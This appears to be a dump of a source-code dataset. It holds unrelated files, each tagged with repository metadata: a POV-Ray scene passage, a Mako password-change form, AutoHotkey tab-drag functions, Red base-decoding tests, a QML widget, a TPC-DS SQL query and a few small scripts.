reflection 0.07
specular 0.9
roughness 0.03
phong 1
phong_size 600
}
}
// X
cylinder { axOrig, axOrig+<maxx,0,0> axDiam texture { coordAxisTex } }
cone {axOrig+<2.5*axDiam+maxx,0,0>, 0.0, axOrig+<maxx,0,0>, 2.0*axDiam texture { coordAxisTex } }
// Y
cylinder { axOrig, axOrig+<0,maxy,0> axDiam texture { coordAxisTex } }
cone {axOrig+<0,2.5*axDiam+maxy,0>, 0.0, axOrig+<0,maxy,0>, 2.0*axDiam texture { coordAxisTex } }
// Z
cylinder { axOrig, axOrig+<0,0,maxz> axDiam texture { coordAxisTex } }
cone {axOrig+<0,0,2.5*axDiam+maxz>, 0.0, axOrig+<0,0,maxz>, 2.0*axDiam texture { coordAxisTex } }
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Content
#declare lineTex=texture {
pigment { color Green }
finish {
ambient .50
diffuse 0.05
reflection 0.07
specular 0.9
roughness 0.03
phong 1
phong_size 600
}
}
#declare vertexTex=texture {
pigment { color Red }
finish {
ambient .50
diffuse 0.05
reflection 0.07
specular 0.9
roughness 0.03
phong 1
phong_size 600
}
}
#declare vertexDiam=1.0;
#declare lineDiam=0.3;
| POV-Ray SDL | 4 | richmit/mjrcalc | exp-PovGraphs-AUX-spiral.pov | [
"BSD-3-Clause"
] |
<%inherit file="/base.mako"/>
<script>
$(function() {
$("[name='password']").complexify({'minimumChars':6}, function(valid, complexity){
var progressBar = $('.progress-bar');
var color = valid ? 'lightgreen' : 'red';
progressBar.css('background-color', color);
progressBar.css({'width': complexity + '%'});
});
});
</script>
<div class="toolForm">
<form name="change_password" id="change_password" action="${h.url_for( controller='user', action='change_password' )}" method="post" >
<div class="toolFormTitle">Change Password</div>
%if token:
<input type="hidden" name="token" value="${token|h}"/>
%else:
<input type="hidden" name="id" value="${id|h}"/>
<div class="form-row">
<label>Current password:</label>
<input type="password" name="current" value="" size="40"/>
</div>
%endif
<div class="form-row">
<label>New password:</label>
<input type="password" name="password" value="" size="40"/>
</div>
<div class="progress">
<div id="complexity-bar" class="progress-bar" role="progressbar">
Strength
</div>
</div>
<div class="form-row">
<label>Confirm:</label>
<input type="password" name="confirm" value="" size="40"/>
</div>
<div class="form-row">
<input type="submit" name="change_password_button" value="Save"/>
</div>
</form>
</div>
| Mako | 4 | rikeshi/galaxy | lib/tool_shed/webapp/templates/webapps/tool_shed/user/change_password.mako | [
"CC-BY-3.0"
] |
IPlookup() ->
ToOutput();
| Click | 0 | ANLAB-KAIST/NBA | configs/ipv4-only-lookup.click | [
"MIT"
] |
;=======================================================================================
;
; Function: TabDrag
; Description: Shows a destination bar when dragging a tab in Tab Controls.
; and returns an array with the new order and text labels.
;
; Author: Pulover [Rodolfo U. Batista] ([email protected])
; Credits: TabGetText() adapted from TC_EX by just me
; https://www.autohotkey.com/boards/viewtopic.php?f=6&t=1271
;
;=======================================================================================
TabDrag(DragButton := "LButton", LineThick := 2, Color := "Black", ShowUnder := false)
{
Static TCM_GETITEMCOUNT := 0x1304
HitTab := TabGet()
CoordMode, Mouse, Window
MouseGetPos, iTabX,, TabWin, TabCtrl, 2
WinGetPos, Win_X, Win_Y, Win_W, Win_H, ahk_id %TabWin%
ControlGetPos, Tab_lx, Tab_ly, Tab_lw, Tab_lh, , ahk_id %TabCtrl%
If (ShowUnder)
{
TabGetRect(HitTab, TabCtrl, iTab_X, iTab_Y, iTab_X2, iTab_Y2)
, Line_Y := Win_Y + Tab_ly + iTab_Y2
, Line_X := Win_X + Tab_lx + iTab_X
, Line_W := iTab_X2 - iTab_X
, Line_W := Line_W * 96 / A_ScreenDPI
Gui, MarkLineH:Color, %Color%
Gui, MarkLineH:+LastFound +AlwaysOnTop +Toolwindow -Caption +HwndLineMark
Gui, MarkLineH:Show, W%Line_W% H%LineThick% Y%Line_Y% X%Line_X% NoActivate Hide
}
While, GetKeyState(DragButton, "P")
{
MouseGetPos, Tab_mx,,, CurrCtrl, 2
If (ShowUnder) && (Tab_mx != iTabX)
Gui, MarkLineH:Show, NoActivate
CurrTab := TabGet()
If (CurrTab = HitTab)
continue
TabGetRect(CurrTab, TabCtrl, Tab_X, Tab_Y, Tab_X2, Tab_Y2)
, Line_H := Tab_Y2-Tab_Y
, Line_H := Line_H * 96 / A_ScreenDPI
If (CurrTab < HitTab)
{
Line_Y := Win_Y + Tab_ly + Tab_Y
, Line_X := Win_X + Tab_lx + Tab_X - 6
}
Else
{
Line_Y := Win_Y + Tab_ly + Tab_Y
, Line_X := Win_X + Tab_lx + Tab_X2 + 3
}
If ((CurrCtrl != TabCtrl) || (CurrTab = 0))
{
CurrTab := ""
Gui, MarkLineV:Cancel
continue
}
Else
{
Gui, MarkLineV:Color, %Color%
Gui, MarkLineV:+LastFound +AlwaysOnTop +Toolwindow -Caption +HwndLineMark
Gui, MarkLineV:Show, W%LineThick% H%Line_H% Y%Line_Y% X%Line_X% NoActivate
}
}
Gui, MarkLineV:Cancel
Gui, MarkLineH:Cancel
If ((CurrTab) && (CurrTab != HitTab))
{
SendMessage, TCM_GETITEMCOUNT, 0, 0,, ahk_id %TabCtrl%
TotalTabs := ErrorLevel, TabInfo := []
Order := Swap(HitTab, CurrTab, TotalTabs)
, Tabs := "|"
For each, Index in Order
Tabs .= TabGetText(TabCtrl, Index) "|"
TabInfo.Tabs := Tabs, TabInfo.Order := Order
return TabInfo
}
return CurrTab
}
;=======================================================================================
; Private Functions:
;=======================================================================================
TabGet()
{
Static TCM_HITTEST := 0x130D
CoordMode, Mouse, Window
MouseGetPos, mX, mY, hwnd, Control, 2
ControlGetPos, cX, cY,,,, ahk_id %Control%
x := mX-cX, y := mY-cY
VarSetCapacity(HitTest, 12, 0)
, NumPut(x, HitTest, 0, "Int")
, NumPut(y, HitTest, 4, "Int")
SendMessage, TCM_HITTEST, 0, &HitTest,, ahk_id %Control%
return (ErrorLevel = 4294967295) ? 0 : (ErrorLevel+1)
}
;=======================================================================================
TabGetRect(Tab, Hwnd, ByRef Left, ByRef Top, ByRef Right, ByRef Bottom)
{
Static TCM_GETITEMRECT := 0x130A
VarSetCapacity(TabXYStruct, 16, 0)
SendMessage, TCM_GETITEMRECT, Tab-1, &TabXYStruct,, ahk_id %Hwnd%
Left := NumGet(TabXYStruct, 0, "UInt"), Top := NumGet(TabXYStruct, 4, "UInt")
, Right := NumGet(TabXYStruct, 8, "UInt"), Bottom := NumGet(TabXYStruct, 12, "UInt")
}
;=======================================================================================
TabGetText(HTC, TabIndex)
{
Static TCIF_TEXT := 0x0001
Static TCM_GETITEM := A_IsUnicode ? 0x133C : 0x1305 ; TCM_GETITEMW : TCM_GETITEMA
Static OffTxL := (3 * 4) + (A_PtrSize - 4) + A_PtrSize
Static OffTxP := (3 * 4) + (A_PtrSize - 4)
Static MaxLength := 256
If (TabIndex < 0) or (TabIndex > GetCount(HTC))
Return
VarSetCapacity(ItemText, MaxLength * (A_IsUnicode ? 2 : 1), 0)
CreateTCITEM(TCITEM)
NumPut(TCIF_TEXT, TCITEM, 0, "UInt")
NumPut(&ItemText, TCITEM, OffTxP, "Ptr")
NumPut(MaxLength, TCITEM, OffTxL, "Int")
SendMessage, % TCM_GETITEM, % (TabIndex - 1), % &TCITEM, , % "ahk_id " . HTC
If (ErrorLevel = 0)
Return
TxtPtr := NumGet(TCITEM, OffTxP, "UPtr")
If (TxtPtr = 0)
Return
Return StrGet(TxtPtr, MaxLength)
}
; ======================================================================================================================
CreateTCITEM(ByRef TCITEM) {
Static Size := (5 * 4) + (2 * A_PtrSize) + (A_PtrSize - 4)
VarSetCapacity(TCITEM, Size, 0)
}
; ======================================================================================================================
GetCount(HTC) {
Static TCM_GETITEMCOUNT := 0x1304
SendMessage, % TCM_GETITEMCOUNT, 0, 0, , % "ahk_id " . HTC
Return ErrorLevel
}
;=======================================================================================
Swap(From, To, Total)
{
Tabs := []
Loop, %Total%
Tabs[A_Index] := A_Index
Tabs.RemoveAt(From), Tabs.InsertAt(To, From)
return Tabs
}
| AutoHotkey | 5 | standardgalactic/PuloversMacroCreator | LIB/TabDrag.ahk | [
"Unlicense"
] |
Red [
Title: "Red debase test script"
Author: "Peter W A Wood"
File: %debase-test.red
Tabs: 4
Rights: "Copyright (C) 2011-2016 Red Foundation. All rights reserved."
License: "BSD-3 - https://github.com/red/red/blob/origin/BSD-3-License.txt"
]
#include %../../../quick-test/quick-test.red
~~~start-file~~~ "debase"
===start-group=== "debase 64"
--test-- "debase 64 1"
--assert strict-equal? "A simple string" to string! debase "QSBzaW1wbGUgc3RyaW5n"
--test-- "debase 64 2"
--assert strict-equal? "A multi-line\nstring" to string! debase "QSBtdWx0aS1saW5lXG5zdHJpbmc="
--test-- "debase 64 3"
--assert strict-equal? "A simple string" to string! debase/base "QSBzaW1wbGUgc3RyaW5n" 64
--test-- "debase 64 4"
--assert strict-equal? "A multi-line\nstring" to string! debase/base "QSBtdWx0aS1saW5lXG5zdHJpbmc=" 64
--test-- "debase 64 5"
--assert strict-equal? "A simple string" to string! debase/base "QSBzaW1wbGUgc3RyaW5n;^/" 64
--test-- "debase 64 6"
--assert strict-equal? "A simple string" to string! debase/base "QSBzaW1wb;i'm comment^/GUgc3RyaW5n" 64
--test-- "debase 64 7"
--assert strict-equal? "A simple string" to string! debase/base "QSBzaW1wbGUgc3RyaW5n;" 64
===end-group===
===start-group=== "debase 58"
--test-- "debase 58 1"
--assert strict-equal? "A simple string" to string! debase/base "2pgMs77CDKsWa7MuTCEMt" 58
--test-- "debase 58 2"
--assert strict-equal? "A multi-line\nstring" to string! debase/base "udEoBfTy3JKJJioNWAmmgSLsmbc" 58
--test-- "debase 58 3"
--assert strict-equal? "A simple string" to string! debase/base "2pgMs77CDKsWa7MuTCEMt;^/" 58
--test-- "debase 58 4"
--assert strict-equal? "A simple string" to string! debase/base "2pgMs77CD;i'm comment^/KsWa7MuTCEMt" 58
--test-- "debase 58 5"
--assert strict-equal? "A simple string" to string! debase/base "2pgMs77CDKsWa7MuTCEMt;" 58
--test-- "debase 58 6"
--assert strict-equal? #{000295EC35D638C16B25608B4E362A214A5692D2005677274F} debase/base "1EfxCKm257NbVJhJCVMzyhkvuJh1j6Zyx" 58
===end-group===
===start-group=== "debase 16"
--test-- "debase 16 1"
--assert strict-equal?
"A simple string"
to string! debase/base "412073696d706c6520737472696e67" 16
--test-- "debase 16 2"
--assert strict-equal?
"A multi-line\nstring"
to string! debase/base "41206d756c74692d6c696e655c6e737472696e67" 16
--test-- "debase 16 3"
--assert strict-equal?
"A simple string"
to string! debase/base "412073696d706c6520737472696e67;^/" 16
--test-- "debase 16 4"
--assert strict-equal?
"A simple string"
to string! debase/base "412073696d7;i'm comment^/06c6520737472696e67" 16
--test-- "debase 16 5"
--assert strict-equal?
"A simple string"
to string! debase/base "412073696d706c6520737472696e67;" 16
===end-group===
===start-group=== "debase 2"
--test-- "debase 2 1"
--assert strict-equal?
"^(04)^(01)"
to string! debase/base "0000010000000001" 2
--test-- "debase 2 2"
--assert strict-equal?
"^(04)^(01)"
to string! debase/base "0000010000000001;^/" 2
--test-- "debase 2 3"
--assert strict-equal?
"^(04)^(01)"
to string! debase/base "0000010;i'm comment^/000000001" 2
--test-- "debase 2 4"
--assert strict-equal?
"^(04)^(01)"
to string! debase/base "0000010000000001;" 2
===end-group===
~~~end-file~~~ | Red | 5 | 0xflotus/red | tests/source/units/debase-test.red | [
"BSL-1.0",
"BSD-3-Clause"
] |
#!/usr/bin/pike
// -*- mode: pike -*-
// $Id: reversefile.pike,v 1.1 2004-05-19 18:12:18 bfulgham Exp $
// http://www.bagley.org/~doug/shootout/
// from: Fredrik Noring
void main() { write((reverse(Stdio.stdin.read()/"\n")*"\n")[1..]+"\n"); }
| Pike | 3 | kragen/shootout | bench/reversefile/reversefile.pike | [
"BSD-3-Clause"
] |
char buf[5];
void setup() {
fooFunc();
}
void loop() {
}
char* fooFunc() {
return buf;
}
| Processing | 3 | Maniekkk/platformio-core | tests/ino2cpp/multifiles/foo.pde | [
"Apache-2.0"
] |
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon([/*#__PURE__*/_jsx("path", {
d: "M7.95 5.13 9.03 6.2c.05-.55.12-1.12.24-1.71-.46.17-.9.39-1.32.64zM5.13 7.96C4.42 9.15 4 10.52 4 12c0 4.41 3.59 8 8 8 1.45 0 2.84-.4 4.05-1.12L5.13 7.96z",
opacity: ".3"
}, "0"), /*#__PURE__*/_jsx("path", {
d: "M9.27 4.49c-.13.59-.2 1.15-.24 1.71l2.05 2.05c-.27-2.05.1-4.22 1.26-6.23-.12 0-.23-.01-.35-.01-2.05 0-3.93.61-5.5 1.65l1.46 1.46c.42-.24.86-.46 1.32-.63zM2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.97 2 12c0 5.52 4.48 10 10 10 2.04 0 3.92-.63 5.5-1.67l2.28 2.28 1.41-1.41L2.81 2.81zM12 20c-4.41 0-8-3.59-8-8 0-1.48.42-2.85 1.13-4.04l10.92 10.92C14.84 19.6 13.45 20 12 20z"
}, "1")], 'BedtimeOffTwoTone'); | JavaScript | 4 | dany-freeman/material-ui | packages/mui-icons-material/lib/esm/BedtimeOffTwoTone.js | [
"MIT"
] |
/****************************************************************************
*
* (c) 2009-2020 QGROUNDCONTROL PROJECT <http://www.qgroundcontrol.org>
*
* QGroundControl is licensed according to the terms in the file
* COPYING.md in the root of the source code directory.
*
****************************************************************************/
import QtQuick 2.12
import QtQuick.Layouts 1.2
import QtQuick.Controls 2.5
import QGroundControl 1.0
import QGroundControl.Controls 1.0
import QGroundControl.Templates 1.0
import QGroundControl.Templates 1.0
import QGroundControl.ScreenTools 1.0
import QGroundControl.Palette 1.0
ColumnLayout {
property var instrumentValueData: null
property bool settingsUnlocked: false
property alias contentWidth: label.contentWidth
property var _rgFontSizes: [ ScreenTools.defaultFontPointSize, ScreenTools.smallFontPointSize, ScreenTools.mediumFontPointSize, ScreenTools.largeFontPointSize ]
property var _rgFontSizeRatios: [ 1, ScreenTools.smallFontPointRatio, ScreenTools.mediumFontPointRatio, ScreenTools.largeFontPointRatio ]
property real _doubleDescent: ScreenTools.defaultFontDescent * 2
property real _tightDefaultFontHeight: ScreenTools.defaultFontPixelHeight - _doubleDescent
property var _rgFontSizeTightHeights: [ _tightDefaultFontHeight * _rgFontSizeRatios[0] + 2, _tightDefaultFontHeight * _rgFontSizeRatios[1] + 2, _tightDefaultFontHeight * _rgFontSizeRatios[2] + 2, _tightDefaultFontHeight * _rgFontSizeRatios[3] + 2 ]
property real _tightHeight: _rgFontSizeTightHeights[instrumentValueData.factValueGrid.fontSize]
property real _fontSize: _rgFontSizes[instrumentValueData.factValueGrid.fontSize]
property real _horizontalLabelSpacing: ScreenTools.defaultFontPixelWidth
property real _width: 0
property real _height: 0
QGCLabel {
id: label
Layout.alignment: Qt.AlignVCenter
font.pointSize: _fontSize
text: valueText()
function valueText() {
if (instrumentValueData.fact) {
return instrumentValueData.fact.enumOrValueString + (instrumentValueData.showUnits ? " " + instrumentValueData.fact.units : "")
} else {
return qsTr("--.--")
}
}
}
}
| QML | 3 | vincentdavoust/qgroundcontrol | src/QmlControls/InstrumentValueValue.qml | [
"Apache-2.0"
] |
SELECT
substr(w_warehouse_name, 1, 20),
sm_type,
web_name,
sum(CASE WHEN (ws_ship_date_sk - ws_sold_date_sk <= 30)
THEN 1
ELSE 0 END) AS `30 days `,
sum(CASE WHEN (ws_ship_date_sk - ws_sold_date_sk > 30) AND
(ws_ship_date_sk - ws_sold_date_sk <= 60)
THEN 1
ELSE 0 END) AS `31 - 60 days `,
sum(CASE WHEN (ws_ship_date_sk - ws_sold_date_sk > 60) AND
(ws_ship_date_sk - ws_sold_date_sk <= 90)
THEN 1
ELSE 0 END) AS `61 - 90 days `,
sum(CASE WHEN (ws_ship_date_sk - ws_sold_date_sk > 90) AND
(ws_ship_date_sk - ws_sold_date_sk <= 120)
THEN 1
ELSE 0 END) AS `91 - 120 days `,
sum(CASE WHEN (ws_ship_date_sk - ws_sold_date_sk > 120)
THEN 1
ELSE 0 END) AS `>120 days `
FROM
web_sales, warehouse, ship_mode, web_site, date_dim
WHERE
d_month_seq BETWEEN 1200 AND 1200 + 11
AND ws_ship_date_sk = d_date_sk
AND ws_warehouse_sk = w_warehouse_sk
AND ws_ship_mode_sk = sm_ship_mode_sk
AND ws_web_site_sk = web_site_sk
GROUP BY
substr(w_warehouse_name, 1, 20), sm_type, web_name
ORDER BY
substr(w_warehouse_name, 1, 20), sm_type, web_name
LIMIT 100
| SQL | 3 | OlegPt/spark | sql/core/src/test/resources/tpcds/q62.sql | [
"Apache-2.0"
] |